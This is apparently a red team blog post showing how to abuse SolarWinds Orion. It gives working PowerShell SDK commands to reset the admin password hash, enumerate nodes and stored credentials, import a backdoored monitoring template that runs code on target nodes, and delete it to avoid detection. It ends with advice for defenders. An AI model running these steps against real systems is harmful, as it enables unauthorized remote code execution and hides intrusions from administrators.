Most of us are probably familiar with SolarWinds. If not from SUNBURST / SUPERNOVA a few years back, then from their network management suite of tools. This post is a hands-on guide to abusing SolarWinds Orion for red team operations. We’ll start with the fundamentals: what Orion is, how it works, and why it’s often the skeleton key to segmented environments. Then we’ll explore SWQL Studio, a tool for recon, and the stealthier PowerShell API for scripting access. Finally, we’ll walk through a proof-of-concept that uses a backdoored Orion application template to execute arbitrary code on target nodes. Whether you’re a seasoned operator or a curious defender, this article will sharpen your perspective on just how much power Orion holds in many enterprise environments.
We’ll start by prefacing this with the obvious, we’re not the first to abuse Orion. It’s been talked about here and here, and as previously mentioned, abused by real threat actors in the past. This post offers a refined perspective based on recent red team operations.
What is SolarWinds Orion?
SolarWinds Orion is a comprehensive IT management platform built to monitor and manage everything from network infrastructure to applications. Picture it as mission control for enterprise networks: collecting performance data, tracking health metrics, and providing a single pane of glass for administrators. It’s especially prevalent in industries like government, finance, and healthcare.
SolarWinds Orion typically runs on a central Windows server, often paired with a MSSQL Server database to store performance data, configuration details, and alerts. Additional polling engines can be deployed for scalability, distributing the load across large networks. Nodes are monitored via lightweight installed agents with greater capabilities, or agentless methods like SNMP and WMI, with monitoring communication flowing back to the Orion server
Nodes
Nodes are at the heart of Orion’s monitoring ecosystem. A node is any asset Orion tracks—servers, switches, firewalls, IoT devices, etc. Orion polls each node for status via SNMP, WMI, or agent-based communication. Installed agents offer deeper insights and are crucial in segmented networks, feeding back performance data to the central Orion server.
Application Templates
Application Templates and Applications are where Orion flexes its muscles. Templates are preconfigured or custom blueprints defining what to monitor on a node (e.g., “SQL Server Performance” or “Windows Event Log”). They include components like scripts (PowerShell, VBScript) or queries to check services, processes, or metrics. An application is a template applied to a specific node, assigned to carry out specific tasks as defined in the template XML. When an application template gets assigned to a specific node for execution, it becomes an application.
Modules
Orion’s strength lies in its modular architecture, where specialized components—modules—tackle distinct facets of IT infrastructure management, all unified under a single platform. The Network Performance Monitor (NPM) is the backbone, tracking device health, bandwidth usage, and latency across routers, switches, and firewalls using protocols like SNMP and ICMP. The Server & Application Monitor (SAM) dives deeper, watching server metrics (.e.g, CPU, memory, disk, etc.) and application performance via scripts or agent-based checks. Virtualization Manager (VMAN) keeps tabs on hypervisors like VMware vSphere or Microsoft Hyper-V. There are plenty other modules as well, and of course, not every environment will utilize every module. From our experience, NPM and SAM seem to be the most commonly implemented modules in corporate environments. For the purposes of this exercise, we’ll be focusing mostly on SAM.
So what?
For red teamers, Orion often sits in the middle of everything—literally. Even highly segmented environments like PCI zones or OT networks often use Orion for monitoring. While access between zones might be restricted via firewalls or ACLs, Orion quietly bridges the gap with agents phoning home. Once Orion is compromised, it becomes a pivot point into otherwise unreachable segments.
Orion Web Portal Access
With Orion logistics out of the way, let’s shift gears a bit to the heart of the post: abusing access to SolarWinds Orion. If you’ve got Orion portal access, you’re essentially at the helm. But what if you only have access to the underlying Windows host? Don’t stress, you can still get in. Atredis Partners wrote a great blog outlining Orion’s cryptography and DB schema. The full blog is worth a read, but the TLDR is that using the Orion Database Manager desktop app, we can locate the Accounts table and modify the admin user’s PasswordHash and PasswordSalt fields.
Once located, backup the ‘PasswordHash’ and ‘PasswordSalt’ fields. Run this script to generate a new, known password hash for the ‘admin’ user. Again, this bit is only necessary if you don’t already have web access to Orion.
$ ruby hash-generate.rb admin OrionPwnage-4thewin User 'admin' with password 'OrionPwnage-4thewin' has hash 'Nxi5O2QWvOcdR78X1wIpXOcenzIwqc203JRD0r4l3kCy/rBQaDGjQ8ejvtKnj902Ob8A5AMiTjYyFIL+faLjYQ=='
With the new password hash in hand, update the ‘PasswordHash’ field for the ‘Admin’ user in the Orion database’s Accounts table. This allows you to log into the Orion web portal using your new password. To maintain access, create a new admin account or API key for stealthier persistence, then restore the original ‘PasswordHash’ to ensure legitimate admins can still log in. With the server tasks complete, you can shift to remote operations using the Orion API, where the real work begins.
SWQL Studio
Before we dig into the code and Orion API, SWQL Studio is definitely worth a mention. Interacting with the APIs is only faster once you know where the data you need is located, SWQL Studio is extremely useful for data browsing and information gathering. SWQL Studio is a graphical query tool designed to let administrators probe the Orion platform’s underlying SolarWinds Information Service (SWIS) using SolarWinds Query Language (SWQL), a SQL-like syntax tailored for Orion’s database. Think of it as a window into the network’s soul, revealing details about monitored devices and configurations with a few well-crafted queries.
For red teamers, it’s a reconnaissance goldmine, offering a structured view of Orion’s data via a Windows-based interface that connects to the Orion server with standard credentials. Tables like Orion.Nodes (listing node IDs, IP addresses, and hostnames), Orion.NPM.Interfaces (network interface details), Orion.APM.Application (application templates and their settings), and Orion.AlertConfigurations (alert triggers and actions) are especially juicy, exposing network topology, critical assets, and potential pivot points ripe for exploration. SWQL Studio is included in the OrionSDK package, available on Github here. If your C2 channel is outside the target network, then of course you’ll need to establish a SOCKS proxy through your C2 channel to access the targeted SolarWinds server with SWQL Studio.
Orion PowerShell SDK
If SWQL Studio is like browsing a network’s blueprint in broad daylight, the SolarWinds Orion PowerShell API is the equivalent of slipping through its back alleys under cover of night. Part of the Orion SDK, this API lets you interact programmatically with the SolarWinds Information Service (SWIS), querying data and issuing commands with finesse and stealth. Again, once you know what you need and want to automate it, the PowerShell SDK is a game-changer—bypassing the noisy GUI for silent, automated operations that blend seamlessly with routine admin activity. In this section, we’ll dive into the PowerShell API’s setup, core functions, and how to wield it for reconnaissance and control, all while keeping your moves under the radar.
First off, installing the Orion PowerShell SDK is as easy as a single command. Open an administrator PowerShell prompt and run the following to install the module.
Install-Module -Name SwisPowerShell
Great, let’s keep moving. Just like with SWQL Studio, I was able to execute all the API commands through a SOCKS proxy (i.e., Proxifier) without issue. Let’s start by logging into the Orion instance.
$swis = Connect-Swis -Hostname "SOLARWINDS.acme.local" -Credential ( Get-Credential -UserName "svc_solarwinds" -Message "Enter your Orion Credentials" )
Now let’s run a few queries to get warmed up. They should be mostly self-explanatory. However, one thing to note in the last query is that your Orion instance will likely contain a variety of credentials. Orion can store multiple credentials of varying credential types. Credential types can vary based on their purpose and module use within Orion. For example, a credential with type NPM is to be used for applications and nodes in the Network Performance Monitoring (NPM) module. In our case, we are interested in Application Performance Monitoring (APM) credential types. These credentials can be used to create and execute an application on a node. The credentials are encrypted in the database so unfortunately we can’t just SELECT query them out as plaintext.
Executing all of this through Orion makes for a slick and stealthy attack path. Many organizations have strict network segmentation that prevents SMB, RDP, or PS-Remoting access, so direct interaction between OT or PCI networks may not be possible. However, all assets have to be managed somehow, if you’re using Orion for the corporate network, it only makes sense to extend the efficiency to other network segments as well.
Now, back to the queries. The following queries are useful for basic reconnaissance. Our SWIS connection is established from the previous command, so now it’s just a matter of referencing that object in these queries.
# Show user accounts to web portal Get-SwisData -SwisConnection $swis -Query "SELECT AccountID, AccountType FROM Orion.Accounts" # Show details on the entity Get-SwisData -SwisConnection $swis -Query "SELECT EntityName FROM Metadata.Entity" # Show all the nodes installed on hosts throughout the environment Get-SwisData -SwisConnection $swis -Query "SELECT NodeID, Caption, IPAddress, Vendor, MachineType FROM Orion.Nodes" # Show Orion stored credential objects (encrypted) Get-SwisData -SwisConnection $swis -Query "SELECT ID, Name, CredentialType, CredentialData FROM Orion.Credential"
Armed with a few useful PowerShell queries, we’re now starting to see the power behind Orion’s reconnaissance potential. Let’s zero in on a critical step: dumping and/or viewing all application templates from the database. Remember that we already discussed how application templates are the blueprints that tell nodes how and what to monitor. They are in the XML format, but can include blocks of custom code (e.g., PowerShell).
Hopefully, by now you see where we’re going with this. First however, we need to dump all application templates from the Orion server to identify a good target template for tweaking and executing our custom code. Understanding these templates is pivotal to deploying a backdoored application, as it lets you identify high-value nodes, mimic legitimate monitoring tasks, and craft a stealthy payload that blends seamlessly with Orion’s routine operations.
$applicationTemplates = Get-SwisData -SwisConnection $swis -Query "SELECT ApplicationTemplateID, Name, Uri FROM Orion.APM.ApplicationTemplate"
$applicationTemplates | ForEach-Object {
$name = $_.Name -replace " ", ""
$result = Invoke-SwisVerb -Swis $swis Orion.APM.ApplicationTemplate ExportTemplate @($_.ApplicationTemplateID)
$exportedTemplate = $result.InnerText
$exportedTemplate | Out-File "$name.apm-template"
}
The query and code are pretty straight forward. We pull all templates from the database, loop through them one by one, saving each one along the way.
Let’s review what we’ve accomplished so far.
☑️ Reviewed SolarWind Orion terminology and architecture.
☑️ Learned how to access the Orion Database Manager to reset an account password and gain access to the web console.
☑️ Installed SWQL Studio and logged into the Orion server.
☑️ Installed the Orion PowerShell SDK, logged into the Orion server, and reviewed useful tables and queries.
🔲 Leverage backdoored Orion application templates to install and trigger malware remotely.
Orion Abuse
Now we’re getting to the good part. The idea behind leveraging Orion to pivot to various hosts is a multi-stage process, and first requires gathering several bits of information. Let’s review what we need.
🔲 Application Template ID – Backdoored application template to be deployed to the node
🔲 Node ID – Ttarget node ID
🔲 Credential ID – Orion credential with privileges to the node
Backdooring Application Templates
This is the magic of the operation. As discussed earlier, application templates define how tasks and operations are to be performed when assigned to a node for execution. If you can find an existing application template from the Orion server with PowerShell code already inn it, then you’re golden. You’re looking for PowerShell code within the “ScriptBody” section of the XML. If you can’t find an existing template with PowerShell code, then don’t despair, we’ll just upload a new one! Thwack is a great resource for this. Thwack is a SolarWinds community website with a library of public APM templates for a variety of purposes. For the purposes of this blog, we’ll leverage the DNS Resolution Test template. As you might guess, this template is normally used to verify DNS resolution for a given host.
With an application template to backdoor, it’s pretty straight forward from this point: Modify the PowerShell code to load and execute your payload. Payload development is left as an exercise to the reader.
While it is a straight forward process, there are a few helpful tips. First, if you’re modifying an existing template, be sure to change the name of the template so you don’t overwrite the original when we upload it in the next step! The template name is defined in the “name” tag of the XML. Second, the “Write-Host” lines for “Message” and “Statistic” are useful for debugging purposes. These values get stored in the database once the application execution has completed. They can also be helpful for reading the encrypted credential objects from the database in plaintext. 😊 Once the template is ready to go, upload it to the Orion server using the PowerShell SDK.
$template = "DNSResolutionTest.apm-template" $content = Get-Content -Path $template -Raw Invoke-SwisVerb -SwisConnection $swis -EntityName "Orion.APM.ApplicationTemplate" -Verb "ImportTemplate" -Arguments @($content)
Finding the Node ID
Next up is finding the ID of the node we’re targeting. This is the easy part. Ensure the host exists in the nodes table. Using the PowerShell below, we just need the hostname to find the node ID.
$hostname = "TGT-HOSTNAME"
$nodeId = Get-SwisData $swis "SELECT NodeID FROM Orion.Nodes WHERE Caption=@hostname" @{ hostname = $hostname }
$nodeId
Finding the Right Credential
Finally, we need credentials to execute the application on the node. From our testing, this isn’t always a requirement. For example, if credentials are not specified or invalid, the application will execute as SYSTEM on the target node. However, with valid credentials the job will execute on the node as that user. Look through the credentials table using the previously provided query above to find a valid set. Remember, the credential type needs to be APM.
$credential = "ServerAdmins
$credentialSetId = Get-SwisData $swis "SELECT ID FROM Orion.Credential WHERE CredentialOwner='APM' AND Name=@credential" @{ credential = $credential }
Create the Application
With your backdoored application template uploaded, the target node selected, and credentials secured, it’s time to pull the trigger. Again, using the PowerShell API, we’ll create the application and print the application ID. It’s important to track the application ID for clean up, querying results from the database, and polling. Polling is a forced trigger for an application. It’s a way to manually tell Orion to check on a host, rather than wait the 5-10 minutes.
Write-Host "Creating application on node '$nodeId' using template '$applicationTemplateId' and credential '$credentialSetId'." # Create the application for the node $applicationId = (Invoke-SwisVerb $swis "Orion.APM.Application" "CreateApplication" @($nodeId, $applicationTemplateId, $credentialSetId, "false")).InnerText $applicationId # Trigger the application for execution Invoke-SwisVerb -SwisConnection $swis "Orion.APM.Application" "PollNow" @($applicationID) # Check status of application Get-SwisData -SwisConnection $swis -Query "SELECT ApplicationID, Name, Status FROM Orion.APM.Application WHERE NodeID = $nodeId"
Once we’ve created, polled, and executed our application, we might be interested in the output from our “Write-Host” PowerShell commands. The query below can be used to read the application output from the database.
Get-SwisData -SwisConnection $swis -Query "SELECT ComponentMessage FROM Orion.APM.ComponentAlert WHERE ApplicationID = $applicationId"
Covering Your Tracks
After your payload has done its job, remove the backdoored application and application template to avoid detection. The cleanup code unlinks the template from the node, halting further executions. If you do not remove the application from the node, it will continue to execute each polling cycle! For extra caution, delete the template itself, ensuring no trace remains in the database.
# Remove application Invoke-SwisVerb -SwisConnection $swis "Orion.APM.Application" "DeleteApplication" @($applicationId) # Remove template Invoke-SwisVerb -SwisConnection $swis -EntityName "Orion.APM.ApplicationTemplate" -Verb "DeleteTemplate" -Arguments @($applicationTemplateId)
Wrap Up
SolarWinds Orion represents a unique convergence of visibility, privilege, and reach, making it an ideal pivot point for attackers and an often-underestimated risk for defenders. Its role in IT environments places it at the center of communication between otherwise disconnected segments, which red teamers can often exploit to jump boundaries that were assumed to be impermeable. From the red team perspective, Orion provides a rich attack surface. Through its API, stored credentials, and scheduled script execution, operators can establish long-term access, execute code deep in segmented environments, and maintain persistence using legitimate channels. The ability to drop payloads into routine monitoring templates and trigger them remotely makes Orion a stealthy, yet powerful, post-exploitation tool.
For defenders, understanding this risk is essential. Orion should be treated with the same caution and scrutiny as domain controllers, jump servers, and credential vaults. Here are some concrete recommendations for blue teams.
☑️ Network Segmentation: Place the Orion server in a dedicated, tightly controlled management VLAN. Ensure it cannot reach or be reached from higher-risk segments of the network.
☑️ Credential Hygiene: Avoid storing domain admin or other privileged credentials in Orion unless absolutely necessary. If credentials must be stored, rotate them frequently and monitor their use via logs.
☑️ Agent Communication Controls: Limit the ability of Orion agents to communicate across security boundaries.
☑️ Access Auditing: Enable and forward logs related to API calls, template changes, account logins, and credential use. Monitor for unusual or unapproved user account or template changes.
☑️ Hardening and Least Privilege: Ensure the Orion server and web interface are only accessible by specific users using MFA.
The abuse of Orion is not theoretical—it’s practical, effective, and in many environments, undetectable without the right telemetry. By understanding its architecture and inherent trust relationships, both red and blue teams can better anticipate and defend against abuse paths that hide in plain sight. SolarWinds Orion is more than just a network monitor—it’s often a blind spot for defenders. When compromised, it becomes an ideal launchpad into environments that were assumed to be secure or unreachable. Red teamers can use Orion to mimic realistic lateral movement paths, elevate privilege, and access restricted segments—all under the guise of normal operations. Defenders should treat Orion as a high-value asset. Restrict its network reach, rotate its credentials often, monitor its logs, and avoid storing privileged credentials unless absolutely necessary.
If you have any questions or comments, please reach out or hit us up on X.
